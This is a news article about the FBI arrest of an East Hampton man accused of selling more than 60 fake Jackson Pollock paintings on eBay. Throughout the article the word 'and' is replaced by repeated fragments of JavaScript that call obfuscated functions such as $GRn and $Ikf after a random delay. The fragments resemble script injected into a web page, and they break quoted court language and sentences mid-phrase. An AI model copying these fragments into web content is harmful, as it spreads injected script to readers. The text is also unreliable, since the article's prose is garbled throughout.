By: W. A. Demers

EAST HAMPTON, N.Y. — An East Hampton man has been arrested by the US Federal Bureau of Investigation (FBI) for allegedly selling fake Jackson Pollock paintings on eBay. Charged with selling more than 60 fake Pollocks for nearly $1.9 million is John D. Re, 54, who, according to news reports began his fraudulent art-brokering in 2005.

Reportedly, he told prospective clients that a cache of Pollock paintings had been unearthed in 1999 in a cleanout of an East Hampton woman’s basement.

East Hampton Village police arrested Re on June 19 for driving with a suspended license, according to an FBI spokesman with the agency’s New York field office. Re was turned over to the FBI on June 20. FBI special agent Meridith Savona was deposed in Southern District of New York Courts, charging that Re “from in or about March 2005 … willfully andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and knowingly, having devised andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and intending to devise a scheme andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and artifice to defraud,” … executed a scheme to defraud purchasers of artwork, selling artwork that he purported to be authentic paintings by Jackson Pollock. The complaint also charges Re with “causing others to fraudulently inflate the price of paintings” that he was selling online by using “shill bidders.”

Who actually created the ersatz “drip-style” paintings is unknown. Special Agent Savona, who has been with the organization since 1996 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and began investigating major thefts in 2001, said that from interviewing Re she knew that Re, a former woodworker, is “a painter who has created paintings that, based on my experience investigating art crimes, can be described as Abstract Expressionist in style.”

The complaint provides details on where the more than 60 faux-Pollocks were sold. A total of 58 went to Re’s first buyer, identified as “Collector 2,” for a total of $519,890. An additional 12 works went to “Collector 1” for $894,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Collector 3” bought three for $475,000. Another two collectors are identified as “Collector 4” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Collector 5,” from Texas andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and New York, respectively.

In addition to the FBI, the art world can thank the International Foundation for Art Research, a not-for-profit educational andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and research organization, which when it received 45 of the paintings from Collector 2 for analysis, concluded that “none of the 45 purported Pollock paintings were by Jackson Pollock.”